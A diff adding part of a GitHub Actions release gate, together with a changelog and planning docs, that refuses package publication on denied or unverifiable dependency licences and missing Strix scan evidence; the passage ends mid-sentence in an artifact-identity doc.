+            # Normalize Strix's findings document to an array without inventing
+            # a result: an array is used as-is, an object carrying a
+            # `vulnerabilities` array contributes that array, and any other
+            # shape yields null so no binding is written at all and the gate
+            # refuses with STRIX_BINDING_MISSING. A textual summary can never
+            # become a pass here.
+            findings_json="$(jq -c '
+              if type == "array" then .
+              elif type == "object" and (.vulnerabilities? | type) == "array" then .vulnerabilities
+              else null end' "$vulnerabilities")"
+            if [ "$findings_json" = "null" ]; then
+              echo "::warning::Strix findings for ${slug} are not a structured array;" \
+                "the gate will refuse the release with STRIX_BINDING_MISSING."
+              continue
+            fi
+            jq -n \
+              --argjson fixture "$(cat "$fixture")" \
+              --argjson findings "$findings_json" \
+              --arg sha "$SOURCE_SHA" \
+              --arg digest "$(cat "${fixture%.json}.sha256")" \
+              '{
+                schema: "cwl.release-dependency-strix-binding/1",
+                dependency: $fixture.dependency,
+                fixture: {
+                  id: ($fixture.dependency.ecosystem + "/" + $fixture.dependency.name
+                       + "@" + $fixture.dependency.version),
+                  sha256: $digest,
+                  scenarios: ($fixture.scenarios | keys)
+                },
+                source_sha: $sha,
+                findings: $findings,
+                verdict: (if ($findings | length) == 0
+                          then "no_exploitable_findings" else "findings_present" end)
+              }' > "${RUNNER_TEMP}/capture/strix/bindings/${slug}.json"
+          done
+
+      - name: Refuse the release unless every dependency passes
+        id: full-stage
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          python3 -I trusted-gate/scripts/ci/release_dependency_gate.py gate \
+            --capture "${RUNNER_TEMP}/capture" \
+            --report "${RUNNER_TEMP}/gate-report.json"
+
+      - name: Seal exactly the gated bytes for attestation
+        id: seal
+        env:
+          EVIDENCE_ARTIFACT_NAME: ${{ inputs.evidence_artifact_name }}
+          WHEEL_FILENAME: ${{ inputs.wheel_filename }}
+          SDIST_FILENAME: ${{ inputs.sdist_filename }}
+        shell: bash --noprofile --norc -e -o pipefail {0}
+        run: |
+          python3 -I trusted-gate/scripts/ci/release_dependency_gate.py seal \
+            --report "${RUNNER_TEMP}/gate-report.json" \
+            --wheel "release-distributions/${WHEEL_FILENAME}" \
+            --sdist "release-distributions/${SDIST_FILENAME}" \
+            --evidence-root "${RUNNER_TEMP}/sealed-evidence" \
+            --evidence-artifact-name "$EVIDENCE_ARTIFACT_NAME"
+
+      - name: Export the sealed evidence as one immutable same-run artifact
+        id: sealed-evidence
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.0
+        with:
+          name: ${{ inputs.evidence_artifact_name }}
+          path: ${{ runner.temp }}/sealed-evidence
+          if-no-files-found: error
+
+      # Failure evidence has to survive the failure that produced it. A default
+      # (success-conditional) upload is skipped exactly when the gate refuses the
+      # release, which is when the report matters most. Each upload is therefore
+      # bound to the step that writes its report: it runs whether that step passed
+      # or failed, but not when that step never ran, and not on cancellation. This
+      # is narrower than a blanket `always()` on purpose — with
+      # `if-no-files-found: error`, a report that its own producing step should
+      # have written but did not stays a failure instead of being masked. Neither
+      # upload can rescue the run: a refusing stage has already failed the job, and
+      # a later successful step does not undo that.
+      - name: Export the pre-credential licence report
+        if: ${{ !cancelled() && steps.license-stage.conclusion != 'skipped' }}
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.0
+        with:
+          name: ${{ inputs.evidence_artifact_name == 'release-dependency-sealed-evidence' && 'release-dependency-license-report' || format('release-dependency-license-report--{0}', inputs.evidence_artifact_name) }}
+          path: ${{ runner.temp }}/license-report.json
+          if-no-files-found: error
+
+      - name: Export the per-dependency gate report
+        if: ${{ !cancelled() && steps.full-stage.conclusion != 'skipped' }}
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.0
+        with:
+          name: ${{ inputs.evidence_artifact_name == 'release-dependency-sealed-evidence' && 'release-dependency-gate-report' || format('release-dependency-gate-report--{0}', inputs.evidence_artifact_name) }}
+          path: ${{ runner.temp }}/gate-report.json
+          if-no-files-found: error
diff --git a/CHANGELOG.d/20260923-release-dependency-license-strix-gate.md b/CHANGELOG.d/20260923-release-dependency-license-strix-gate.md
new file mode 100644
index 0000000000..784333b9c3
--- /dev/null
+++ b/CHANGELOG.d/20260923-release-dependency-license-strix-gate.md
@@ -0,0 +1,186 @@
+### Central pre-publish dependency gate: parsed license denial, resolved-graph reconciliation, per-dependency Strix bindings
+
+- `origin/main` had **no** fail-closed pre-publish dependency gate. The only license signal was
+  `scripts/ci/sbom_inventory_aggregator.py`, a *scheduled, informational* org SBOM roll-up that
+  flags GPL/AGPL/NOASSERTION for governance: it is not per-dependency, not fail-closed, and not
+  bound to a release head. That gap blocked fast-mlsirm's 0.11.5 PyPI release and
+  contextual-orchestrator's VCS-pin removal (#2342).
+- New reusable `workflow_call` workflow `.github/workflows/release-dependency-license-strix-gate.yml`
+  runs **before** a release workflow publishes. It has no `continue-on-error`, no `if: always()`,
+  no neutral outcome, and no bypass; `permissions` is `contents: read` at both workflow and job
+  scope, and every action is pinned to the same commits `exact-artifact-sbom-attestation.yml` uses.
+  The decision code is materialized from `ContextualWisdomLab/.github` at `github.workflow_sha`
+  into `trusted-gate/`, so a caller's tree can never supply it.
+- New `scripts/ci/spdx_license_policy.py` is a recursive-descent SPDX 2.3 expression parser
+  (`AND`/`OR`/`WITH`/parentheses/legacy `+`). Policy is applied to the parsed tree, never by
+  substring matching: GPL, LGPL, and AGPL are denied in every version and in both the `-only` and
+  `-or-later` spellings, an exception never rescues a denied base (`GPL-2.0-only WITH
+  Classpath-exception-2.0` stays denied), and `missing`, `NOASSERTION`, `NONE`, `UNKNOWN`,
+  `custom`, `LicenseRef-*`, and any unparseable expression fail closed. A dual-licensed dependency
+  passes only when a non-denied operand is explicitly selected with a written rationale, which is
+  copied into the artifact provenance as a CycloneDX component property. Bundled `LICENSE`,
+  `COPYING`, and `NOTICE` text *is* substring-scanned — correct for prose — so metadata claiming
+  MIT while shipping GPL text fails as a disagreement.
+- New `scripts/ci/release_dependency_gate.py` enumerates both ecosystems and refuses any
+  asymmetry: the hash-pinned Python lock against `pip inspect` of the build environment
+  (`LOCK_ENV_MISMATCH`), and `Cargo.lock` against the full resolved build graph including
+  build-dependencies and every `cfg()`-gated target (`CARGO_LOCK_GRAPH_MISMATCH`,
+  `CARGO_CHECKSUM_MISSING`). It records name, version, source hash, license, license source, and
+  distribution inclusion per dependency; verifies the captured source hash against the pin
+  (`SOURCE_HASH_MISMATCH`); evaluates static and dynamic linking targets of shipped native
+  libraries against an explicit, auditable platform-runtime soname allowlist (glibc, the GCC
+  runtime-library-exception libraries, `libpython`) so a real compiled wheel can pass at all; and
+  runs deterministic archive-escape and install-hook detectors (`ARCHIVE_PATH_ESCAPE`,
+  `INSTALL_HOOK`).
+- Strix evidence is accepted **only** as a machine-readable binding, one isolated synthetic
+  fixture per dependency, simulating file parsing, install hooks, archive traversal, native library
+  loading, credential/network attempts, and known-vulnerability surface. A textual "0 findings" or
+  "No exploitable vulnerabilities detected" is rejected (`STRIX_TEXTUAL_PASS_REJECTED`), and a
+  missing or malformed binding is a failure, never neutral (`STRIX_BINDING_MISSING`,
+  `STRIX_BINDING_MALFORMED`, `STRIX_BINDING_UNBOUND`). The trusted binder is resolved next to the
+  gate script's **own** directory, adopting `strix_quick_gate.sh`'s trusted-path semantics in new
+  code without touching that file (PR #2291 owns its one-line repair).
+- On success the gate seals exactly the six members
+  `scripts/ci/verify_exact_artifact_sbom_handoff.py` expects — wheel, sdist, their CycloneDX 1.7
+  SBOMs, `source-identity.json`, `checksums.sha256` — and emits all 17 inputs of
+  `exact-artifact-sbom-attestation.yml` as workflow outputs, so provenance covers exactly the bytes
+  that were gated. `tests/test_release_dependency_gate_capture_and_seal.py` proves the sealed
+  directory is accepted verbatim by that verifier.
+- Strix itself is invoked through the organization's existing trusted entry point
+  `scripts/ci/strix_quick_gate.sh`, once per isolated fixture workspace via `STRIX_REPO_ROOT`,
+  with `strix.yml`'s bootstrap invariants mirrored verbatim (private install umask,
+  `--require-hashes --no-deps` against the unmodified `requirements-strix-ci-hashes.txt`, absolute
+  non-symlinked executable inside the interpreter's scripts root, `chmod go-w`, digest pinned into
+  `GITHUB_ENV`, sidecar-provided `LLM_API_KEY_FILE`/`LLM_API_BASE_FILE`/`STRIX_LLM_FILE`, and
+  `orchestrator/free` as the only accepted model). The trusted binder is copied into each fixture
+  workspace so the gate's binder lookup resolves both on current `main` and after #2291, without
+  editing that file. `strix_runs/**/vulnerabilities.json` is normalized to an array only when it
+  already is one (or carries a `vulnerabilities` array); any other shape writes no binding, so the
+  gate refuses with `STRIX_BINDING_MISSING` rather than inventing a result.
+- `scripts/ci/release_dependency_capture_raw.sh` runs the runner-only tools (`pip inspect`,
+  `pip download`, `cargo metadata --locked`, `cargo fetch`, archive listing, `readelf -d`) and
+  writes their output verbatim; every decision lives in the unit-tested Python that reads it. It
+  inspects a `python3 -m venv --without-pip` environment holding exactly the lock, so the
+  no-exemption lock/environment rule is not defeated by setup-python's preinstalled `pip`, and it
+  fetches by exact pin with hash checking deliberately disabled so `SOURCE_HASH_MISMATCH` is
+  observable rather than pre-empted by pip. The gate adds no Python dependency and does not touch
+  any `anyio` pin or `requirements-strix-ci*` (#2278 owns that lane). Refs #2342.
+- The gate now runs in **two stages**, so the licence determination precedes every credential and
+  model step. `release_dependency_gate.py prescreen` (`stage: license`) enumerates the full
+  dependency scope and applies the *same* `evaluate_dependency_license` decision the final gate
+  uses, reading no Strix binding and requiring no provider credential: a GPL/LGPL/AGPL dependency,
+  an `UNKNOWN`/missing licence, or an `OR` expression with no recorded permissive selection refuses
+  the release before a secret is read. `capture` alone never rejected a licence — it only assembles
+  evidence and fixtures — so making the secrets optional would not by itself have produced a
+  pre-Strix rejection. The five provider secrets are therefore declared `required: false`, which is
+  not leniency: `require-strix-credentials` refuses the Strix stage with `STRIX_CREDENTIALS_ABSENT`
+  when any is absent, as a failing command rather than an `if:` condition, because a condition would
+  *skip* the scan and let the release proceed unscanned. The reason code names only the absent
+  variables and never echoes or measures a present value. Only a `full`-stage report may be sealed,
+  so a passing prescreen can never stand in for the Strix stage.
+- Dependency **scope is compared as a whole set**, per ecosystem, with `expected_count`,
+  `enumerated_count`, `collected_count`, and `matched_count` recorded in the report and equality
+  required. CO#1226 accepted coverage because one component of one ecosystem existed; an ecosystem
+  this gate cannot enumerate is now `SCOPE_UNVERIFIABLE` rather than silently skipped, a collected
+  set that is a subset of the producer's declared set is `SCOPE_SET_MISMATCH`, and so is capture
+  material for something no declared ecosystem expects. Scope is direct, transitive, build, dev,
+  optional and platform: `resolve_cargo_graph` walks every `resolve.nodes` edge regardless of
+  `dep_kind` or target `cfg`, so a UEFI-only crate such as `r-efi` is an expected member and gets no
+  target-based exemption.
+- Licence metadata is read from **each fetched distribution's own** `METADATA`/`PKG-INFO`, by the
+  trusted gate's `distribution-metadata`, which also re-checks that the archive declares the pinned
+  project and version. It cannot come from `pip inspect` of the lock-only environment any more,
+  because no such environment exists yet when the licence is judged; the enumeration is built from
+  the same fetched set, in the `pip inspect` shape the lock/environment reconciliation already reads,
+  so identity and licence stay consistent by construction and an entry that is not present exactly
+  once is an error rather than a default. The previous metadata step ran `python3 -m pip show`
+  without the `--python` target its neighbours carried, so it inspected the *runner's* global
+  interpreter where the release dependencies are not installed at all.
+- The exact release identity is shape-checked **first**. `workflow_call` can only type
+  `source_sha` as `string`, and the gate's own 40-hex check was reached only after Strix had run, so
+  `validate-inputs` now refuses a branch name or a short SHA before the release head is fetched.
+- Failure evidence survives the failure that produced it: each report upload is bound to the step
+  that writes it, running whether that step passed or failed but not when it never ran and not on
+  cancellation. This is deliberately narrower than a blanket `always()`, and with
+  `if-no-files-found: error` a report that should have been written but was not stays a failure
+  instead of being masked. Neither upload can rescue the run. Refs #2342.
+- **Install and capture now resolve from the same validated sources.** `pip install -r <lock>` reads
+  the real lock and honors `--index-url`, `--extra-index-url` and `--find-links` in it, while the
+  capture step's `pip download` used a reconstructed plain requirements file built with
+  `grep -oE '^[A-Za-z0-9._-]+==[^ ;]+'`, which dropped every `-`-prefixed directive. Collection could
+  therefore resolve from a different source than install, and any release lock using a private or
+  extra index failed capture outright. The fix never forwards what the lock says: `lock-source-options`
+  parses each directive, validates it, and only then emits an explicit option list, reusing the
+  trusted-origin and bounded-path policy `materialize_base_python_requirements.py` already applies
+  (HTTPS, default port, host allowlist, no userinfo; normalized relative path with no `.`/`..` and
+  none of `\\ : ? #`). An unlisted origin is `LOCK_SOURCE_ORIGIN_DENIED`, a URL carrying userinfo is
+  `LOCK_SOURCE_CREDENTIAL_IN_URL` and withholds the whole URL from both the message and the report, a
+  path leaving the release tree is `LOCK_SOURCE_PATH_ESCAPE`, and a nested `-r`/`-c` include, an
+  environment marker, or any other directive form is `LOCK_SOURCE_UNSUPPORTED`. Nothing is dropped
+  silently, because silent dropping was the defect. The supported dialect is deliberately narrow and
+  this organization's own `requirements-*-hashes.txt` files use none of these forms. The options are
+  read into a bash array with the validator's exit status checked explicitly — *not* through
+  `mapfile < <(…)`, where `set -e` discards a refusal and it would read as "no options" and resolve
+  from the default index anyway. Source resolution decides only where pip looks: the hash pin still
+  decides what is acceptable, so `SOURCE_HASH_MISMATCH` remains observable and an offline
+  `--find-links` root cannot substitute different bytes. Refs #2342.
+- **Nothing is installed before it has been adjudicated.** The gate's premise is that a denied,
+  unknown or untrusted dependency is refused before any of it runs, but the workflow installed the
+  whole release closure in a step that preceded *both* the lock-source validation and the licence
+  prescreen. A GPL/LGPL/AGPL or `UNKNOWN` dependency therefore reached the environment first, and a
+  lock pointing at an untrusted index had its directives honoured by that install while only the
+  later capture validated them — so the first network action of the run was the unvalidated one. The
+  order is now: validate the lock's sources (no network), collect the closure with
+  `pip download --no-deps --only-binary=:all:` (wheels only, because `pip download` executes an
+  sdist's build backend for metadata even with `--no-deps`), judge the licence, and only then
+  install. The install is `--require-hashes --only-binary=:all: --no-index --find-links <collected>`
+  over the very bytes that were inspected, so nothing is re-resolved or re-downloaded and the
+  installed bytes are the judged bytes even where the lock records several hashes for one project —
+  which a second hash-less download could not have established. `install-authorized` refuses the
+  install unless a prescreen report records a passed `license` stage, so a missing, malformed or
+  failing report fails closed instead of defaulting to permitted.
+  One consequence is stated plainly rather than papered over: `LOCK_ENV_MISMATCH` is now evaluated
+  against the *collected* closure, because no installed environment exists when the gate reads its
+  capture. Agreement between that closure and the environment is enforced at install time instead,
+  by pip itself: `--require-hashes` with `--no-index --find-links <collected>` can only install a
+  file from the collected root that matches a hash the lock records, so a disagreement fails the
+  install rather than being reported by a later inspect.
+  `tests/test_release_dependency_install_ordering.py` pins the wiring rather than the parser: with
+  `RELEASE_GATE_PIP` pointed at a recorder, a refused lock directive performs **no** pip call at all,
+  an unauthorized licence stage performs **no** `install`, an authorized release performs exactly one
+  offline hash-checked `install` from the collected root, and the workflow's step order is asserted
+  because the defect lived there. Refs #2342.
+- **Three release-blocking defects found by independent review of `03ba1777`, each with its own
+  regression.** (1) *A permissive declaration was accepted as licence evidence.* The decision
+  allowed the declared SPDX expression and then only looked for a **denied** title in the bundled
+  text, so `scan_license_text` returning `None` was read as "the text is fine" — it only means no
+  GPL/LGPL/AGPL title was found. Reproduced: MIT metadata with `license_texts = {}`, with
+  `LICENSE = UNKNOWN`, and with `LICENSE = Commercial redistribution is prohibited.` each passed
+  the licence stage with an empty failure list. `recognize_license_text` is the positive half —
+  it returns the SPDX identifiers a body actually supports — so absent text is now
+  `LICENSE_TEXT_MISSING`, an unrecognizable body is `LICENSE_TEXT_UNVERIFIED`, and a recognized
+  body naming none of the declared identifiers is `LICENSE_TEXT_DISAGREEMENT`. Two of this
+  repository's own fixtures were declaring one licence while bundling another and are corrected.
+  (2) *The approval was not bound to what was installed.* `install_is_authorized` checked only
+  `stage` and `result`, and the install re-read the original lock, so a two-field report authorized
+  it and a lock recording several hashes for one project let `--require-hashes` accept an artifact
+  whose licence and contents were never judged. The verdict now records `python_lock_sha256`, and
+  `bind-install` refuses unless that lock still digests to what the verdict read, every judged
+  artifact is present in the collected root **by digest**, and the root holds no other
+  distribution; it then writes a requirements file pinning each project to the one judged digest,
+  which is what the install reads. A swapped artifact, an extra unjudged wheel, an edited lock and
+  a failing report each install nothing. (3) *The install could never run.* `python3 -m venv`
+  symlinks `bin/python` on POSIX, and the interpreter guard refused symlinks outright, so a normal
+  virtual environment exited 2 before pip was reached. The guard now resolves the link and requires
+  the resolved target to be a regular executable file, which a real venv satisfies while a dangling
+  link and a directory still fail. Refs #2342.
+- **The gate's own toolchain is out of the prescreen's scope, and that limit is now written down
+  instead of being implicit.** The same review noted that the pinned Strix toolchain
+  (`requirements-strix-ci-hashes.txt`, materialized from `github.workflow_sha`) and the orchestrator
+  sidecar's own lock are installed without passing through the licence stage. They are a different
+  trust domain from the caller's release closure — pinned and reviewed in this repository — and the
+  stage that judges the closure cannot judge the scanner it must run first without a cycle. The
+  workflow says so at the install step: not an automatic exception for CI/build/dev dependencies,
+  but a stated limit whose removal is an owner decision tracked separately. Nothing in this gate's
+  output may be read as evidence that the gate's own dependencies were licence-judged. Refs #2342.
+
diff --git a/docs/doctoring/20260924-release-gate-negative-fixture-verification-plan.md b/docs/doctoring/20260924-release-gate-negative-fixture-verification-plan.md
new file mode 100644
index 0000000000..6db5f96e41
--- /dev/null
+++ b/docs/doctoring/20260924-release-gate-negative-fixture-verification-plan.md
@@ -0,0 +1,205 @@
+# Negative-fixture verification plan for the central release dependency gate (#2342, #2347)
+
+Prepared, **not approved to run**. No hosted run, publish, merge, approval or re-run is authorized
+by this document. It closes the two written gaps the coordinator required alongside the reviewable
+exact head, and it records one refutation the owner must decide on before any run is scheduled.
+
+Central head this describes: `65727fa8411ec92672e03b1c6447b3a47d2616fc` on
+`feat/release-dependency-license-strix-gate-2342`, on top of the reviewed
+`3c3ca9b1445d4a73a9d47216ff88996f012f1757`.
+
+Two claims are kept apart throughout, and must stay apart in any report that cites this file:
+
+- **Reason codes verified locally.** Unit results from `pytest`, which prove a decision outcome and
+  its reason code and nothing else.
+- **Run-level facts.** "The Strix step did not start", "the gate job concluded `failure`", "the
+  publish job did not start". None of these is established here. A failing unit-test wrapper is
+  never a real release-gate failure, and a passing test is never a release PASS.
+
+## Gap 1 — how a negative case enters the real gate
+
+### The path, by step, subcommand and function
+
+| # | Workflow step (`release-dependency-license-strix-gate.yml`) | Runs | Decides |
+|---|---|---|---|
+| 1 | `Validate the exact release identity before anything else runs` | `release_dependency_gate.py validate-inputs` | `validate_release_identity` — 40-hex `source_sha`, `owner/name` repository |
+| 2 | `Install the release dependency closure into a lock-only environment` | `pip install --require-hashes --only-binary=:all: -r release-source/<python_lock_path>` into a `--without-pip` venv | — |
+| 3 | `Download the exact distributions the caller intends to publish` | `actions/download-artifact` → `release-distributions/` | — |
+| 4 | `Collect raw resolved-dependency evidence from both ecosystems` | `release_dependency_capture_raw.sh` | — (writes tool output verbatim; `capture_python` derives each `metadata.json` from `python/installed.json`) |
+| 5 | `Assemble per-dependency evidence and isolated synthetic fixtures` | `release_dependency_gate.py capture` | `capture` → `build_evidence` → `evidence/<slug>.json`, `strix/fixtures/<slug>.json` |
+| 6 | `Refuse a denied or unverifiable licence before any credential exists` | `release_dependency_gate.py prescreen` | **`gate(stage="license")` → `evaluate_dependency_license` → `declared_license_expression` → `spdx_license_policy.evaluate_license_expression`** |
+| 7 | `Require every Strix provider credential before the Strix stage starts` | `release_dependency_gate.py require-strix-credentials` | `require_strix_credentials` → `STRIX_CREDENTIALS_ABSENT` |
+| 8–11 | gateway, toolchain, credential binding, Strix | `strix_quick_gate.sh` per fixture workspace | — |
+| 12 | `Refuse the release unless every dependency passes` | `release_dependency_gate.py gate` | `gate(stage="full")` — the same licence decision **plus** `validate_strix_binding` |
+| 13 | `Seal exactly the gated bytes for attestation` | `release_dependency_gate.py seal` | `seal` — refuses a non-`PASS` **and** a non-`full` report |
+
+The licence decision in step 6 is the same function the final gate calls in step 12. There is one
+decision implementation, not a prescreen copy of one.
+
+`needs` path traversed: the gate is a single `workflow_call` job (`jobs.gate`). A caller composes
+`gate` → `attest`, and any mock job models only the edge out of `jobs.gate`.
+
+### No collection-bypass input exists
+
+Verified by reading the current source:
+
+- The workflow's `workflow_call` inputs are the release identity, ecosystems, lock/manifest paths,
+  artifact and filenames. **None of them skips capture, skips the licence stage, or injects a
+  verdict.** `test_workflow_is_reusable_and_never_branch_selectable` and
+  `test_gate_has_no_bypass_of_any_kind` pin the absence of a bypass shape.
+- Step 4 always runs; step 5 always runs; step 6 always runs. The only `if:` conditions in the
+  workflow are the lock-only install guard and the two evidence-retention uploads
+  (`test_failure_evidence_survives_the_failure_that_produced_it` asserts there are exactly three).
+- A hand-written `evidence/<slug>.json` cannot manufacture a case. The expected set comes from the
+  producer's own lock (`_enumerate_python`) and `Cargo.lock` (`_enumerate_cargo`), and
+  `_scope_rows` refuses collected material that no declared ecosystem expects with
+  `SCOPE_SET_MISMATCH`. Test: `test_collected_material_outside_every_expected_set_is_a_scope_mismatch`.
+
+**Consequence, stated plainly: a denial case cannot be fed in as a bare JSON blob.** It must arrive
+as something the real capture path genuinely collects — a distribution present in the lock, with a
+real `sha256`, whose own metadata carries the case.
+
+### The fixture-distribution shape: **refuted as currently specified**
+
+The proposed shape — a locally authored fixture wheel in the caller's artifact whose metadata
+declares `GPL-3.0-only` (or omits `License` entirely for `LICENSE_MISSING`) — is the right *idea*,
+because the case then rides on metadata the real collection reads. It does **not** work against the
+unmodified capture script, for a reason the owner must decide on before any run is scheduled:
+
+- `parse_python_lock` skips every directive line (`if not line or line.startswith("-")`), so a lock
+  may carry `--find-links ./wheels` without the gate's parser objecting — this part is verified by
+  reading the parser. Step 2's `pip install` reads the **real lock**, and pip's documented
+  requirements-file behavior is to honor an in-file `--find-links` under `--require-hashes
+  --only-binary=:all:`. That last point is **pip's documented behavior, not executed here**; no step
+  of this workflow has been run.
+- `release_dependency_capture_raw.sh:151` reconstructs a *plain* requirements file for `pip
+  download` with `grep -oE '^[A-Za-z0-9._-]+==[^ ;]+'`, which **drops every `-`-prefixed
+  directive**. Step 4's `pip download --no-deps --only-binary=:all:` therefore resolves against the
+  default index only.
+
+So a locally authored wheel installs in step 2 and then fails to download in step 4
+(`ERROR: no fetched distribution for <name>==<version>`). The run would fail in collection, before
+the licence decision — which is *not* the licence rejection the fixture is meant to demonstrate.
+
+This is also a latent production defect independent of the fixture: a real release whose lock
+carries `--index-url`, `--extra-index-url` or `--find-links` has those dropped for the download, so
+step 4 either fails or fetches from the wrong index while step 2 installed from the right one.
+**Reported as a follow-up, not fixed here** — preserving index/find-links directives into the plain
+requirements file changes production collection semantics and needs the owner's decision.
+
+Until that is resolved, the only collectible negative case is one whose distribution the default
+index already serves, which conflicts with "never fetch or install any GPL/LGPL/AGPL package".
+
+### A GPL-declaring fixture package is rejected
+
+The coordinator has **retracted** the idea of authoring or installing a fixture package whose
+metadata declares a copyleft identifier. It is not to be built. The two evidence classes are split
+instead:
+
+- **Per-reason denial codes stay unit-level.** A self-authored, **data-only** SPDX string is a valid
+  input to the production decision functions, and `LICENSE_DENIED_GPL`, `LICENSE_DENIED_LGPL`,
+  `LICENSE_DENIED_AGPL`, `LICENSE_UNPARSEABLE`, `LICENSE_UNRECOGNIZED`, `LICENSE_MISSING`,
+  `LICENSE_SELECTION_REQUIRED` and `LICENSE_SELECTION_INVALID` are proven exactly there, by direct
+  calls to `evaluate_dependency_license` / `declared_license_expression` in the existing
+  `tests/test_release_dependency_gate.py`. Those SPDX strings are **not** extended into the real
+  package-install path.
+- **The real capture path is exercised with a self-authored artifact containing no forbidden
+  source**, verified through a `LICENSE_MISSING` rejection. Nothing copyleft is fetched, declared or
+  installed at any point.
+
+Note that the refutation above still applies to the `LICENSE_MISSING` fixture, because it is also a
+locally authored distribution: until the dropped-directive defect is decided, `pip download` in step
+4 cannot fetch it.
+
+### Naming discipline for the eventual run
+
+What such a run can prove, and the only way it may be described:
+**real collection → licence-missing rejection → Strix blocked → `mock_publish` gated by `needs`.**
+
+It is **not** a "GPL real-collection-refusal E2E" and must never be called one. The per-reason
+copyleft denials are unit-level decision evidence and belong in a separate, separately labelled
+section of any report. The link between the real capture path and the decision function is for the
+coordinator to review from the exact-head source; it is not established by this prose.
+
+## Gap 2 — the `mock_publish` job's contract and its limits
+
+Name: **`mock_publish`**. Never `publish`, `release`, or `deploy`, so no reader or later script
+mistakes it for the release job.
+
+What it verifies: **only that the gating edge behaves as the real caller's publish job would.** Its
+`needs` and `if` must be character-identical to the real release workflow's publish job, and both
+must be quoted side by side in the run's evidence. It models the *edge*, nothing else: it does not
+show that a real publish job would not start, because it is not that job and does not share its
+environment, permissions or triggers.
+
+Prohibited in `mock_publish`, and unnecessary for the contract: any `permissions:` beyond
+`contents: read`, any token or secret, any `environment:`, any tag creation, any release creation,
+any registry credential, any upload to a registry. Its steps are `echo` only.
+
+**The real publish job's `needs`/`if` cannot be quoted here.** The caller workflow is FMLS-owned and
+is not present at this head, so the two conditions must be quoted from the FMLS caller at its exact
+SHA when the run is proposed. This plan does not invent them.
+
+### Judgement rule and the exact fields to read
+
+A skipped job can still carry a `started_at` in GitHub's payload, so **nothing may be inferred from
+an absent or present `started_at` alone.** Judge from the raw payload plus whether steps actually
+executed:
+
+From `GET /repos/{owner}/{repo}/actions/runs/{run_id}` — `id`, `head_sha` (must equal the fixture
+commit exactly), `status`, `conclusion`.
+
+From `GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs` per job — `name`, `status`,
+`conclusion`, and the full `steps[]` array, reading each step's `name`, `status`, `conclusion` and
+`number`.
+
+Decision rules:
+
+- **Gate refused**: the `gate` job has `conclusion == "failure"`, and the step named
+  `Refuse a denied or unverifiable licence before any credential exists` has
+  `conclusion == "failure"`. The reason code is read from the
+  `release-dependency-license-report` artifact's `failures[].code`, not from log prose.
+- **Strix never started**: every step from `Provision the zero-cost review gateway for Strix`
+  through `Run Strix against one isolated synthetic fixture per dependency` has
+  `conclusion == "skipped"`. A step that ran and failed is a different outcome and must not be
+  reported as "did not start".
+- **Credentials were never required for the licence decision**: the step
+  `Require every Strix provider credential before the Strix stage starts` also has
+  `conclusion == "skipped"`, which places it after the licence refusal.
+- **`mock_publish` did not execute**: its `conclusion == "skipped"` **and** its `steps[]` is empty or
+  every entry has `conclusion == "skipped"`. `started_at` is recorded verbatim and explicitly **not**
+  used as evidence either way.
+- **Evidence survived the failure**: the `release-dependency-license-report` artifact exists on the
+  failed run, which is the behavior the bound-to-producing-step upload condition exists to provide.
+
+Anything not on this list stays unverified.
+
+## Remaining end-to-end verification scope
+
+Splitting the evidence into unit-level denials and one `LICENSE_MISSING` collection run does **not**
+shrink the requirement, and nothing here may be marked fully complete. Still unproven, with the kind
+of run that would prove each:
+
+| Unproven | What would prove it |
+|---|---|
+| A copyleft dependency is refused by the **real collection path** | A run whose collected metadata carries a denied licence. No such run is planned, because authoring or installing a copyleft-declaring package is rejected. This gap stays open by policy. |
+| `release_dependency_capture_raw.sh` executes at all | Any hosted run that reaches step 4. No step of that script has ever executed, here or in CI. |
+| A locally authored fixture distribution is collectible | Resolution of the dropped-directive defect above, then one non-deploy run. |
+| Strix succeeds and produces a real binding | A credentialed run that reaches step 12 with `verdict` and `findings` from an actual scan. |
+| `seal` output is accepted by the real attestation workflow on real bytes | A run composing `gate` → `attest` on a real wheel and sdist. Locally only the *shape* is checked, against a synthetic sealed directory. |
+| Capture/hash/metadata/artifact binding agree end to end | The same composed run, comparing `wheel_sha256` and `sdist_sha256` against the published artifact digests. |
+| A real publish job would not start | Nothing planned proves this. `mock_publish` models the gating edge only. |
+
+## What remains unverified without a hosted run
+
+Verified locally by execution: every reason code above, produced by the production functions through
+the existing harness in `tests/test_release_dependency_gate.py` and its siblings.
+
+Not verified, and not claimable until a single approved non-deploy run exists: that the gate job
+concludes `failure` on a real runner; that the Strix steps report `skipped`; that `mock_publish`
+does not execute; that the capture script's real `pip inspect`/`pip download`/`cargo metadata`
+invocations behave as read (no step of `release_dependency_capture_raw.sh` has ever been executed,
+here or in CI); that `seal` and `exact-artifact-sbom-attestation.yml` agree on real bytes; and that
+the fixture distribution is collectible at all, which the refutation above says it currently is not.
+
+Refs #2342, #2347.
diff --git a/docs/doctoring/release-build-artifact-identity.md b/docs/doctoring/release-build-artifact-identity.md
new file mode 100644
index 0000000000..bf00920ee3
--- /dev/null
+++ b/docs/doctoring/release-build-artifact-identity.md
@@ -0,0 +1,62 @@
+# Immutable same-run build artifact intake
+
+Base: 1916e95a8ee3b0dbd1c84011d88fc580700430e3. Previously the dependency
+gate selected the caller's build artifact by name only. The gate now requires
+`build_artifact_id` and `build_artifact_digest` as well as the expected name.
+The producer must pass its upload result ID and `sha256:`-prefixed digest.
+Missing values cannot fall back to name selection.
+
+The shipped shell reuses the existing exact-artifact-sbom-attestation workflow's
+same-repository/same-run metadata comparison and the same pinned download action.
+It also checks the returned ID explicitly and requires canonical positive
+decimal ID and sha256 digest input. Metadata identity, name, digest, run and
+unexpired status must agree before download. An API error blocks consumption.
+No second generic verifier, new token, or helper revision is introduced.
+
+The gate requests only the additional `actions: read` permission required by
+the metadata API. The caller must grant it; a called workflow cannot elevate
+the caller's token permissions. Existing name-only callers must provide both
+new required inputs when adopting this revision. Repository-local inspection
+finds no executable caller of this reusable workflow; external caller adoption
+is not exhaustively verified. FMLS's trusted matrix aggregation remains unwired.
+
+## Pinned download action contract, source inspection only
+
+The actual pinned revision is
+`actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c`.
+Its action.yml lines42–46 declare `digest-mismatch: error` as the default;
